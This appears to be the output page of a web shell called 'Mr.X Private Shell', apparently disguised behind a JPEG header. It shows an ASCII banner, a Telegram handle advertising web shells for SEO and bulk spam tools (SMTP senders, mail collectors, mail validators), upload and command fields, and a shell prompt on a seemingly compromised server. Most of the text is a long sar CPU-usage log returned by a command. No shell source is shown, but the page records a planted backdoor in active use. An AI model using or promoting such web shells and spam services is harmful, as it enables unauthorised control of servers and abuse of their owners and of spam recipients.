����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
Linux 5.14.0-611.9.1.el9_7.x86_64 (10-0-2-15.cprapid.com) 	2026-05-05 	_x86_64_	(4 CPU)

10:46:16     LINUX RESTART	(4 CPU)

10:50:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
11:00:00        all      0.34      0.03      0.28      0.02      0.01      0.00      0.05      0.00      0.00     99.27
11:00:00          0      0.29      0.08      0.30      0.03      0.03      0.00      0.18      0.00      0.00     99.09
11:00:00          1      0.21      0.00      0.27      0.01      0.01      0.00      0.02      0.00      0.00     99.47
11:00:00          2      0.53      0.03      0.30      0.01      0.00      0.00      0.00      0.00      0.00     99.11
11:00:00          3      0.30      0.03      0.25      0.01      0.00      0.00      0.01      0.00      0.00     99.40
11:10:01        all      1.15      0.01      1.66      0.49      0.01      0.00      0.32      0.00      0.00     96.36
11:10:01          0      1.57      0.00      1.75      0.29      0.01      0.00      0.83      0.00      0.00     95.54
11:10:01          1      0.99      0.04      1.60      0.57      0.01      0.00      0.29      0.00      0.00     96.51
11:10:01          2      1.09      0.00      1.77      0.92      0.00      0.00      0.10      0.00      0.00     96.12
11:10:01          3      0.95      0.00      1.54      0.16      0.00      0.00      0.08      0.00      0.00     97.26
11:20:01        all      1.39      0.01      2.31      0.49      0.01      0.00      0.49      0.00      0.00     95.29
11:20:01          0      1.26      0.00      2.30      0.33      0.01      0.00      1.14      0.00      0.00     94.95
11:20:01          1      1.23      0.01      2.09      0.59      0.01      0.00      0.50      0.00      0.00     95.58
11:20:01          2      1.67      0.02      2.65      0.58      0.00      0.00      0.16      0.00      0.00     94.92
11:20:01          3      1.39      0.04      2.21      0.47      0.00      0.00      0.16      0.00      0.00     95.72
11:30:01        all      4.87      3.80      4.27      0.43      0.01      0.00      0.10      0.00      0.00     86.52
11:30:01          0      5.05      4.03      4.20      0.40      0.02      0.00      0.26      0.00      0.00     86.04
11:30:01          1      3.34      3.68      4.34      0.29      0.01      0.00      0.06      0.00      0.00     88.28
11:30:01          2      5.55      4.01      4.55      0.43      0.01      0.00      0.05      0.00      0.00     85.41
11:30:01          3      5.54      3.47      3.98      0.60      0.00      0.00      0.04      0.00      0.00     86.37
11:40:01        all      8.85      0.01      5.24      1.88      0.01      0.00      0.29      0.00      0.00     83.72
11:40:01          0      6.89      0.03      5.05      1.78      0.02      0.00      0.77      0.00      0.00     85.47
11:40:01          1      8.73      0.00      5.19      2.00      0.00      0.00      0.13      0.00      0.00     83.94
11:40:01          2      7.57      0.00      5.34      1.95      0.01      0.00      0.17      0.00      0.00     84.98
11:40:01          3     12.23      0.03      5.38      1.80      0.00      0.00      0.07      0.00      0.00     80.49
11:50:01        all     28.62      0.63      8.96      3.29      0.01      0.00      0.50      0.00      0.00     57.99
11:50:01          0     24.86      1.05      8.77      2.91      0.02      0.00      1.02      0.00      0.00     61.36
11:50:01          1     33.19      0.48      9.18      3.38      0.01      0.00      0.37      0.00      0.00     53.40
11:50:01          2     23.21      0.34      9.04      3.34      0.01      0.00      0.39      0.00      0.00     63.67
11:50:01          3     33.26      0.65      8.86      3.52      0.01      0.00      0.20      0.00      0.00     53.49
12:00:01        all     22.92      0.03      5.47      1.27      0.01      0.00      0.27      0.00      0.00     70.04
12:00:01          0     18.95      0.06      5.31      1.20      0.01      0.00      0.63      0.00      0.00     73.84
12:00:01          1     24.68      0.01      5.55      1.19      0.01      0.00      0.18      0.00      0.00     68.38
12:00:01          2     19.91      0.00      5.49      1.23      0.01      0.00      0.17      0.00      0.00     73.19
12:00:01          3     28.13      0.04      5.53      1.46      0.00      0.00      0.10      0.00      0.00     64.75
12:10:00        all     15.24      0.70      1.99      0.16      0.01      0.00      0.12      0.00      0.00     81.78
12:10:00          0     14.61      0.75      2.01      0.19      0.02      0.00      0.32      0.00      0.00     82.10
12:10:00          1     16.20      0.60      1.90      0.20      0.00      0.00      0.07      0.00      0.00     81.02
12:10:00          2     13.86      0.89      2.02      0.12      0.01      0.00      0.06      0.00      0.00     83.04
12:10:00          3     16.29      0.54      2.04      0.12      0.00      0.00      0.04      0.00      0.00     80.97
12:20:00        all     12.16      0.01      1.32      0.14      0.01      0.00      0.09      0.00      0.00     86.27
12:20:00          0     11.68      0.03      1.44      0.18      0.01      0.00      0.27      0.00      0.00     86.39
12:20:00          1     12.12      0.00      1.26      0.20      0.00      0.00      0.05      0.00      0.00     86.37
12:20:00          2     10.54      0.00      1.17      0.07      0.01      0.00      0.03      0.00      0.00     88.17
12:20:00          3     14.30      0.00      1.41      0.11      0.00      0.00      0.02      0.00      0.00     84.16
12:30:00        all     10.52      0.01      1.31      0.15      0.00      0.00      0.10      0.00      0.00     87.91
12:30:00          0      8.70      0.04      1.26      0.14      0.01      0.00      0.29      0.00      0.00     89.57
12:30:00          1     12.80      0.00      1.42      0.12      0.00      0.00      0.04      0.00      0.00     85.62
12:30:00          2      9.49      0.00      1.13      0.13      0.00      0.00      0.04      0.00      0.00     89.20
12:30:00          3     11.10      0.00      1.43      0.20      0.00      0.00      0.03      0.00      0.00     87.24
12:40:00        all     13.35      0.07      1.53      0.16      0.01      0.00      0.11      0.00      0.00     84.77
12:40:00          0     12.04      0.05      1.57      0.15      0.01      0.00      0.30      0.00      0.00     85.88
12:40:00          1     14.63      0.04      1.50      0.19      0.00      0.00      0.06      0.00      0.00     83.58
12:40:00          2     11.01      0.00      1.39      0.18      0.00      0.00      0.05      0.00      0.00     87.37
12:40:00          3     15.70      0.20      1.67      0.13      0.00      0.00      0.03      0.00      0.00     82.28

12:40:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
12:50:00        all      9.23      0.01      1.08      0.09      0.00      0.00      0.09      0.00      0.00     89.50
12:50:00          0      9.17      0.00      1.17      0.09      0.01      0.00      0.30      0.00      0.00     89.25
12:50:00          1     10.72      0.03      1.15      0.11      0.00      0.00      0.04      0.00      0.00     87.96
12:50:00          2      6.32      0.00      0.83      0.07      0.00      0.00      0.03      0.00      0.00     92.75
12:50:00          3     10.69      0.00      1.18      0.09      0.00      0.00      0.02      0.00      0.00     88.03
13:00:00        all     10.84      0.01      1.19      0.06      0.00      0.00      0.08      0.00      0.00     87.82
13:00:00          0      9.86      0.00      1.25      0.05      0.01      0.00      0.26      0.00      0.00     88.57
13:00:00          1     11.99      0.00      1.21      0.08      0.00      0.00      0.03      0.00      0.00     86.68
13:00:00          2      8.40      0.00      0.96      0.05      0.00      0.00      0.03      0.00      0.00     90.56
13:00:00          3     13.11      0.03      1.32      0.05      0.00      0.00      0.02      0.00      0.00     85.47
13:10:00        all     15.96      0.03      1.54      0.11      0.00      0.00      0.10      0.00      0.00     82.25
13:10:00          0     15.18      0.02      1.56      0.11      0.01      0.00      0.29      0.00      0.00     82.83
13:10:00          1     17.65      0.11      1.66      0.12      0.00      0.00      0.05      0.00      0.00     80.42
13:10:00          2     14.05      0.00      1.40      0.06      0.00      0.00      0.04      0.00      0.00     84.46
13:10:00          3     16.97      0.00      1.56      0.16      0.00      0.00      0.02      0.00      0.00     81.28
13:20:00        all      9.66      0.01      1.09      0.06      0.00      0.00      0.08      0.00      0.00     89.09
13:20:00          0      8.34      0.00      1.02      0.04      0.01      0.00      0.26      0.00      0.00     90.33
13:20:00          1     10.66      0.03      1.16      0.07      0.00      0.00      0.03      0.00      0.00     88.04
13:20:00          2      8.46      0.00      1.04      0.08      0.00      0.00      0.02      0.00      0.00     90.39
13:20:00          3     11.18      0.00      1.14      0.05      0.00      0.00      0.02      0.00      0.00     87.61
13:30:00        all     11.79      0.02      1.32      0.07      0.00      0.00      0.09      0.00      0.00     86.72
13:30:00          0     10.42      0.03      1.36      0.05      0.01      0.00      0.26      0.00      0.00     87.86
13:30:00          1     14.41      0.00      1.46      0.08      0.00      0.00      0.04      0.00      0.00     84.02
13:30:00          2      9.04      0.00      1.08      0.10      0.00      0.00      0.03      0.00      0.00     89.75
13:30:00          3     13.28      0.03      1.38      0.05      0.00      0.00      0.02      0.00      0.00     85.23
13:40:00        all     10.43      0.01      1.27      0.06      0.00      0.00      0.08      0.00      0.00     88.15
13:40:00          0     10.79      0.00      1.39      0.04      0.01      0.00      0.24      0.00      0.00     87.53
13:40:00          1     11.76      0.00      1.33      0.07      0.00      0.00      0.04      0.00      0.00     86.79
13:40:00          2      7.91      0.00      1.07      0.07      0.00      0.00      0.03      0.00      0.00     90.92
13:40:00          3     11.25      0.03      1.27      0.06      0.00      0.00      0.02      0.00      0.00     87.37
13:50:00        all     10.30      0.01      1.28      0.06      0.02      0.00      0.09      0.00      0.00     88.23
13:50:00          0      9.24      0.00      1.23      0.05      0.04      0.00      0.29      0.00      0.00     89.14
13:50:00          1     12.26      0.03      1.46      0.07      0.01      0.00      0.03      0.00      0.00     86.14
13:50:00          2      9.75      0.00      1.20      0.04      0.01      0.00      0.03      0.00      0.00     88.97
13:50:00          3      9.97      0.00      1.23      0.08      0.01      0.00      0.02      0.00      0.00     88.69
14:00:00        all     11.50      0.01      1.29      0.06      0.00      0.00      0.09      0.00      0.00     87.04
14:00:00          0     10.32      0.00      1.22      0.04      0.01      0.00      0.27      0.00      0.00     88.14
14:00:00          1     14.21      0.00      1.51      0.05      0.00      0.00      0.04      0.00      0.00     84.18
14:00:00          2      8.95      0.00      1.04      0.06      0.00      0.00      0.04      0.00      0.00     89.91
14:00:00          3     12.54      0.03      1.38      0.08      0.00      0.00      0.02      0.00      0.00     85.95
14:10:00        all     17.00      0.01      1.83      0.18      0.00      0.00      0.14      0.00      0.00     80.84
14:10:00          0     15.50      0.00      1.72      0.18      0.01      0.00      0.32      0.00      0.00     82.27
14:10:00          1     17.48      0.00      1.86      0.17      0.00      0.00      0.09      0.00      0.00     80.40
14:10:00          2     15.59      0.00      1.73      0.17      0.00      0.00      0.08      0.00      0.00     82.41
14:10:00          3     19.43      0.03      2.02      0.19      0.00      0.00      0.05      0.00      0.00     78.26
14:20:00        all     11.53      0.02      1.24      0.06      0.00      0.00      0.08      0.00      0.00     87.07
14:20:00          0     10.06      0.05      1.17      0.05      0.01      0.00      0.23      0.00      0.00     88.43
14:20:00          1     12.54      0.01      1.37      0.06      0.00      0.00      0.03      0.00      0.00     85.99
14:20:00          2     10.16      0.00      1.14      0.07      0.00      0.00      0.03      0.00      0.00     88.61
14:20:00          3     13.36      0.00      1.29      0.06      0.00      0.00      0.02      0.00      0.00     85.27
14:30:00        all     10.04      0.01      1.22      0.06      0.00      0.00      0.07      0.00      0.00     88.60
14:30:00          0      9.21      0.00      1.17      0.07      0.01      0.00      0.20      0.00      0.00     89.34
14:30:00          1     10.91      0.00      1.21      0.05      0.00      0.00      0.03      0.00      0.00     87.79
14:30:00          2      8.57      0.00      1.16      0.05      0.00      0.00      0.03      0.00      0.00     90.19
14:30:00          3     11.48      0.03      1.33      0.06      0.00      0.00      0.02      0.00      0.00     87.09

14:30:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
14:40:00        all     16.58      0.01      1.68      0.09      0.00      0.00      0.10      0.00      0.00     81.55
14:40:00          0     15.88      0.00      1.70      0.09      0.01      0.00      0.24      0.00      0.00     82.08
14:40:00          1     17.80      0.00      1.66      0.11      0.00      0.00      0.06      0.00      0.00     80.37
14:40:00          2     14.67      0.00      1.54      0.08      0.00      0.00      0.05      0.00      0.00     83.65
14:40:00          3     17.97      0.03      1.80      0.09      0.00      0.00      0.03      0.00      0.00     80.08
14:50:00        all     23.27      0.01      2.19      0.11      0.00      0.00      0.13      0.00      0.00     74.29
14:50:00          0     22.05      0.02      2.14      0.12      0.01      0.00      0.30      0.00      0.00     75.37
14:50:00          1     23.57      0.00      2.22      0.10      0.00      0.00      0.08      0.00      0.00     74.03
14:50:00          2     22.09      0.00      2.09      0.10      0.00      0.00      0.08      0.00      0.00     75.63
14:50:00          3     25.38      0.00      2.31      0.11      0.00      0.00      0.05      0.00      0.00     72.15
15:00:00        all     19.80      0.03      1.87      0.08      0.00      0.00      0.10      0.00      0.00     78.12
15:00:00          0     18.59      0.05      1.85      0.06      0.01      0.00      0.26      0.00      0.00     79.19
15:00:00          1     19.77      0.01      1.93      0.08      0.00      0.00      0.07      0.00      0.00     78.14
15:00:00          2     19.85      0.04      1.87      0.09      0.00      0.00      0.05      0.00      0.00     78.10
15:00:00          3     20.98      0.04      1.82      0.09      0.00      0.00      0.04      0.00      0.00     77.03
15:10:00        all     16.06      0.03      1.64      0.10      0.01      0.00      0.09      0.00      0.00     82.06
15:10:00          0     14.54      0.00      1.51      0.09      0.02      0.00      0.25      0.00      0.00     83.60
15:10:00          1     17.82      0.02      1.69      0.07      0.00      0.00      0.05      0.00      0.00     80.35
15:10:00          2     16.01      0.00      1.67      0.16      0.01      0.00      0.04      0.00      0.00     82.12
15:10:00          3     15.87      0.12      1.69      0.09      0.00      0.00      0.03      0.00      0.00     82.19
15:20:00        all     11.59      0.01      1.27      0.08      0.00      0.00      0.08      0.00      0.00     86.97
15:20:00          0      9.62      0.00      1.20      0.08      0.01      0.00      0.25      0.00      0.00     88.84
15:20:00          1     13.63      0.03      1.40      0.08      0.00      0.00      0.04      0.00      0.00     84.82
15:20:00          2      9.73      0.00      1.11      0.06      0.00      0.00      0.03      0.00      0.00     89.06
15:20:00          3     13.35      0.00      1.36      0.08      0.00      0.00      0.02      0.00      0.00     85.18
15:30:00        all     16.20      0.01      4.21      0.34      0.00      0.00      0.13      0.00      0.00     79.11
15:30:00          0     14.42      0.00      3.89      0.31      0.01      0.00      0.31      0.00      0.00     81.06
15:30:00          1     16.40      0.04      4.46      0.37      0.00      0.00      0.07      0.00      0.00     78.67
15:30:00          2     16.08      0.00      4.22      0.40      0.00      0.00      0.07      0.00      0.00     79.23
15:30:00          3     17.91      0.00      4.27      0.27      0.00      0.00      0.05      0.00      0.00     77.50
15:40:00        all     12.18      0.01      1.27      0.10      0.00      0.00      0.08      0.00      0.00     86.36
15:40:00          0     11.65      0.00      1.21      0.08      0.01      0.00      0.23      0.00      0.00     86.83
15:40:00          1     11.67      0.00      1.26      0.11      0.00      0.00      0.04      0.00      0.00     86.92
15:40:00          2     10.70      0.00      1.22      0.11      0.00      0.00      0.04      0.00      0.00     87.92
15:40:00          3     14.69      0.03      1.38      0.09      0.00      0.00      0.02      0.00      0.00     83.78
15:50:00        all     19.28      0.01      1.73      0.08      0.00      0.00      0.10      0.00      0.00     78.80
15:50:00          0     16.82      0.00      1.65      0.09      0.01      0.00      0.27      0.00      0.00     81.17
15:50:00          1     20.39      0.00      1.73      0.07      0.00      0.00      0.05      0.00      0.00     77.77
15:50:00          2     18.00      0.00      1.66      0.07      0.00      0.00      0.04      0.00      0.00     80.23
15:50:00          3     21.93      0.04      1.90      0.08      0.00      0.00      0.03      0.00      0.00     76.03
16:00:00        all     17.08      0.02      1.72      0.09      0.00      0.00      0.09      0.00      0.00     81.00
16:00:00          0     15.93      0.00      1.64      0.08      0.01      0.00      0.26      0.00      0.00     82.07
16:00:00          1     19.47      0.00      1.91      0.11      0.00      0.00      0.04      0.00      0.00     78.48
16:00:00          2     14.26      0.04      1.54      0.08      0.00      0.00      0.04      0.00      0.00     84.05
16:00:00          3     18.66      0.02      1.78      0.11      0.00      0.00      0.03      0.00      0.00     79.40
16:10:00        all      9.11      0.01      1.17      0.09      0.00      0.00      0.08      0.00      0.00     89.54
16:10:00          0      8.05      0.00      1.19      0.11      0.01      0.00      0.24      0.00      0.00     90.40
16:10:00          1     10.13      0.00      1.21      0.09      0.00      0.00      0.04      0.00      0.00     88.54
16:10:00          2      8.52      0.03      1.10      0.07      0.00      0.00      0.03      0.00      0.00     90.26
16:10:00          3      9.76      0.00      1.20      0.08      0.00      0.00      0.02      0.00      0.00     88.95
16:20:00        all     17.13      0.01      1.62      0.12      0.00      0.00      0.09      0.00      0.00     81.02
16:20:00          0     15.33      0.02      1.60      0.11      0.01      0.00      0.26      0.00      0.00     82.67
16:20:00          1     21.73      0.00      1.80      0.13      0.00      0.00      0.05      0.00      0.00     76.29
16:20:00          2     12.22      0.00      1.30      0.14      0.00      0.00      0.05      0.00      0.00     86.30
16:20:00          3     19.24      0.03      1.80      0.09      0.00      0.00      0.03      0.00      0.00     78.82

16:20:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
16:30:01        all     12.26     15.20      4.43      1.00      0.00      0.00      0.42      0.00      0.00     66.69
16:30:01          0     13.67     12.76      4.58      0.89      0.01      0.00      1.16      0.00      0.00     66.92
16:30:01          1     11.55     15.16      4.33      1.12      0.00      0.00      0.21      0.00      0.00     67.63
16:30:01          2     11.27     18.22      4.37      0.95      0.01      0.00      0.21      0.00      0.00     64.97
16:30:01          3     12.55     14.66      4.42      1.03      0.00      0.00      0.10      0.00      0.00     67.23
16:40:01        all     14.40     22.63      5.97      1.28      0.01      0.00      0.60      0.00      0.00     55.11
16:40:01          0     12.68     21.01      6.03      1.47      0.01      0.00      1.76      0.00      0.00     57.05
16:40:01          1     16.31     24.31      5.86      1.20      0.00      0.00      0.23      0.00      0.00     52.08
16:40:01          2     15.19     20.70      6.34      1.21      0.01      0.00      0.30      0.00      0.00     56.26
16:40:01          3     13.45     24.54      5.64      1.23      0.00      0.00      0.11      0.00      0.00     55.03
16:50:01        all     13.02     15.91      4.65      0.90      0.01      0.00      0.45      0.00      0.00     65.07
16:50:01          0     10.61     13.48      4.65      0.80      0.01      0.00      1.31      0.00      0.00     69.14
16:50:01          1     14.64     19.07      4.56      0.84      0.00      0.00      0.16      0.00      0.00     60.72
16:50:01          2     12.65     18.19      4.60      0.94      0.01      0.00      0.21      0.00      0.00     63.40
16:50:01          3     14.22     12.92      4.79      1.00      0.01      0.00      0.09      0.00      0.00     66.97
17:00:01        all      8.70      0.01      1.13      0.05      0.00      0.00      0.08      0.00      0.00     90.04
17:00:01          0      7.07      0.00      1.08      0.03      0.01      0.00      0.24      0.00      0.00     91.57
17:00:01          1      9.60      0.00      1.14      0.08      0.00      0.00      0.03      0.00      0.00     89.15
17:00:01          2      8.13      0.00      1.12      0.04      0.00      0.00      0.02      0.00      0.00     90.68
17:00:01          3      9.98      0.03      1.17      0.06      0.00      0.00      0.02      0.00      0.00     88.75
17:10:01        all     16.43      0.01      1.64      0.08      0.00      0.00      0.11      0.00      0.00     81.73
17:10:01          0     12.74      0.03      1.49      0.07      0.01      0.00      0.31      0.00      0.00     85.35
17:10:01          1     18.39      0.01      1.76      0.10      0.00      0.00      0.05      0.00      0.00     79.70
17:10:01          2     15.78      0.00      1.59      0.08      0.00      0.00      0.04      0.00      0.00     82.51
17:10:01          3     18.82      0.00      1.71      0.08      0.00      0.00      0.03      0.00      0.00     79.36
17:20:00        all     13.24      0.03      1.24      0.09      0.00      0.00      0.08      0.00      0.00     85.32
17:20:00          0     10.36      0.01      1.15      0.10      0.01      0.00      0.25      0.00      0.00     88.12
17:20:00          1     15.42      0.02      1.31      0.07      0.00      0.00      0.03      0.00      0.00     83.16
17:20:00          2     12.14      0.02      1.20      0.07      0.00      0.00      0.04      0.00      0.00     86.53
17:20:00          3     15.04      0.06      1.31      0.11      0.00      0.00      0.02      0.00      0.00     83.47
17:30:01        all     11.72      0.01      1.22      0.07      0.00      0.00      0.09      0.00      0.00     86.89
17:30:01          0     11.19      0.00      1.27      0.05      0.01      0.00      0.25      0.00      0.00     87.24
17:30:01          1     12.15      0.00      1.21      0.08      0.00      0.00      0.04      0.00      0.00     86.52
17:30:01          2      9.61      0.03      1.09      0.09      0.00      0.00      0.03      0.00      0.00     89.14
17:30:01          3     13.95      0.00      1.29      0.08      0.00      0.00      0.02      0.00      0.00     84.66
17:40:01        all     20.62      0.02      1.84      0.14      0.00      0.00      0.13      0.00      0.00     77.25
17:40:01          0     19.58      0.02      1.80      0.15      0.01      0.00      0.33      0.00      0.00     78.11
17:40:01          1     21.44      0.00      1.89      0.12      0.00      0.00      0.07      0.00      0.00     76.48
17:40:01          2     16.85      0.07      1.64      0.16      0.00      0.00      0.08      0.00      0.00     81.21
17:40:01          3     24.61      0.00      2.02      0.12      0.00      0.00      0.04      0.00      0.00     73.22
17:50:01        all     15.67      0.01      1.41      0.07      0.01      0.00      0.10      0.00      0.00     82.73
17:50:01          0     12.10      0.00      1.28      0.07      0.01      0.00      0.28      0.00      0.00     86.26
17:50:01          1     17.46      0.00      1.47      0.07      0.00      0.00      0.04      0.00      0.00     80.95
17:50:01          2     14.17      0.03      1.32      0.07      0.00      0.00      0.05      0.00      0.00     84.36
17:50:01          3     18.95      0.00      1.59      0.08      0.00      0.00      0.03      0.00      0.00     79.36
18:00:01        all     10.16      0.01      1.15      0.06      0.00      0.00      0.08      0.00      0.00     88.54
18:00:01          0      8.00      0.00      1.05      0.08      0.01      0.00      0.25      0.00      0.00     90.61
18:00:01          1     11.59      0.00      1.25      0.04      0.00      0.00      0.03      0.00      0.00     87.09
18:00:01          2      9.23      0.00      1.07      0.07      0.00      0.00      0.03      0.00      0.00     89.59
18:00:01          3     11.79      0.03      1.24      0.05      0.00      0.00      0.02      0.00      0.00     86.86
18:10:01        all     10.40      0.01      1.22      0.06      0.01      0.00      0.08      0.00      0.00     88.23
18:10:01          0      7.57      0.00      1.10      0.04      0.01      0.00      0.26      0.00      0.00     91.03
18:10:01          1     12.41      0.00      1.42      0.08      0.00      0.00      0.03      0.00      0.00     86.07
18:10:01          2      8.51      0.03      1.01      0.06      0.00      0.00      0.03      0.00      0.00     90.36
18:10:01          3     13.09      0.00      1.35      0.06      0.00      0.00      0.02      0.00      0.00     85.48

18:10:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
18:20:01        all     17.00      0.01      1.53      0.08      0.00      0.00      0.10      0.00      0.00     81.27
18:20:01          0     14.28      0.03      1.51      0.07      0.01      0.00      0.29      0.00      0.00     83.81
18:20:01          1     21.27      0.00      1.67      0.05      0.00      0.00      0.04      0.00      0.00     76.96
18:20:01          2     12.80      0.00      1.28      0.11      0.00      0.00      0.05      0.00      0.00     85.76
18:20:01          3     19.65      0.00      1.65      0.09      0.00      0.00      0.02      0.00      0.00     78.59
18:30:01        all      8.11      0.02      0.92      0.05      0.00      0.00      0.07      0.00      0.00     90.83
18:30:01          0      8.37      0.02      1.00      0.04      0.01      0.00      0.22      0.00      0.00     90.33
18:30:01          1      9.61      0.00      0.97      0.03      0.00      0.00      0.03      0.00      0.00     89.36
18:30:01          2      5.98      0.04      0.79      0.07      0.00      0.00      0.02      0.00      0.00     93.10
18:30:01          3      8.48      0.01      0.92      0.06      0.00      0.00      0.01      0.00      0.00     90.52
18:40:01        all     11.30      0.06      1.21      0.07      0.00      0.00      0.08      0.00      0.00     87.28
18:40:01          0     10.32      0.02      1.24      0.05      0.01      0.00      0.23      0.00      0.00     88.13
18:40:01          1     13.95      0.05      1.29      0.05      0.00      0.00      0.03      0.00      0.00     84.62
18:40:01          2      8.51      0.13      1.02      0.10      0.00      0.00      0.03      0.00      0.00     90.21
18:40:01          3     12.41      0.05      1.28      0.07      0.00      0.00      0.02      0.00      0.00     86.17
18:50:01        all     10.39      0.01      1.10      0.05      0.00      0.00      0.08      0.00      0.00     88.37
18:50:01          0      9.69      0.02      1.12      0.06      0.01      0.00      0.24      0.00      0.00     88.86
18:50:01          1     10.42      0.00      1.10      0.05      0.00      0.00      0.03      0.00      0.00     88.39
18:50:01          2      8.91      0.02      0.98      0.06      0.00      0.00      0.03      0.00      0.00     90.01
18:50:01          3     12.52      0.00      1.18      0.05      0.00      0.00      0.02      0.00      0.00     86.23
19:00:00        all     14.65      0.01      1.38      0.07      0.00      0.00      0.09      0.00      0.00     83.79
19:00:00          0     13.04      0.00      1.35      0.06      0.01      0.00      0.25      0.00      0.00     85.29
19:00:00          1     16.64      0.00      1.47      0.06      0.00      0.00      0.05      0.00      0.00     81.78
19:00:00          2     13.24      0.03      1.35      0.09      0.00      0.00      0.04      0.00      0.00     85.26
19:00:00          3     15.68      0.00      1.36      0.08      0.00      0.00      0.03      0.00      0.00     82.84
19:10:00        all     11.47      0.01      1.33      0.10      0.00      0.00      0.09      0.00      0.00     87.00
19:10:00          0      9.54      0.00      1.30      0.07      0.01      0.00      0.27      0.00      0.00     88.80
19:10:00          1     14.99      0.00      1.58      0.10      0.00      0.00      0.04      0.00      0.00     83.30
19:10:00          2     10.45      0.03      1.23      0.12      0.00      0.00      0.04      0.00      0.00     88.13
19:10:00          3     10.89      0.00      1.22      0.10      0.00      0.00      0.02      0.00      0.00     87.76
19:20:01        all     19.03      0.03      1.62      0.07      0.00      0.00      0.11      0.00      0.00     79.13
19:20:01          0     17.19      0.02      1.54      0.04      0.01      0.00      0.29      0.00      0.00     80.92
19:20:01          1     22.36      0.00      1.77      0.03      0.00      0.00      0.05      0.00      0.00     75.78
19:20:01          2     17.42      0.07      1.55      0.16      0.00      0.00      0.06      0.00      0.00     80.74
19:20:01          3     19.14      0.05      1.64      0.06      0.00      0.00      0.04      0.00      0.00     79.07
19:30:01        all     18.18      0.01      1.61      0.06      0.00      0.00      0.10      0.00      0.00     80.05
19:30:01          0     17.80      0.03      1.63      0.05      0.01      0.00      0.25      0.00      0.00     80.23
19:30:01          1     18.06      0.00      1.58      0.09      0.00      0.00      0.06      0.00      0.00     80.21
19:30:01          2     16.14      0.00      1.51      0.07      0.00      0.00      0.04      0.00      0.00     82.24
19:30:01          3     20.70      0.00      1.70      0.03      0.00      0.00      0.04      0.00      0.00     77.53
19:40:00        all     12.04      0.01      1.19      0.06      0.00      0.00      0.08      0.00      0.00     86.62
19:40:00          0     10.81      0.00      1.06      0.05      0.01      0.00      0.22      0.00      0.00     87.85
19:40:00          1     13.04      0.00      1.22      0.06      0.00      0.00      0.03      0.00      0.00     85.64
19:40:00          2     11.55      0.00      1.14      0.04      0.00      0.00      0.03      0.00      0.00     87.24
19:40:00          3     12.77      0.04      1.33      0.09      0.00      0.00      0.02      0.00      0.00     85.75
19:50:00        all     11.92      0.01      1.18      0.07      0.00      0.00      0.08      0.00      0.00     86.74
19:50:00          0      9.55      0.03      1.11      0.07      0.01      0.00      0.23      0.00      0.00     89.01
19:50:00          1     12.67      0.00      1.21      0.08      0.00      0.00      0.03      0.00      0.00     86.01
19:50:00          2      9.79      0.00      1.00      0.04      0.00      0.00      0.03      0.00      0.00     89.13
19:50:00          3     15.68      0.00      1.40      0.08      0.00      0.00      0.02      0.00      0.00     82.83
20:00:01        all      9.39      0.01      1.05      0.07      0.00      0.00      0.07      0.00      0.00     89.41
20:00:01          0      7.46      0.00      0.94      0.05      0.01      0.00      0.19      0.00      0.00     91.36
20:00:01          1     11.08      0.00      1.12      0.08      0.00      0.00      0.03      0.00      0.00     87.70
20:00:01          2      7.71      0.03      0.98      0.07      0.00      0.00      0.02      0.00      0.00     91.18
20:00:01          3     11.31      0.00      1.16      0.07      0.00      0.00      0.02      0.00      0.00     87.43

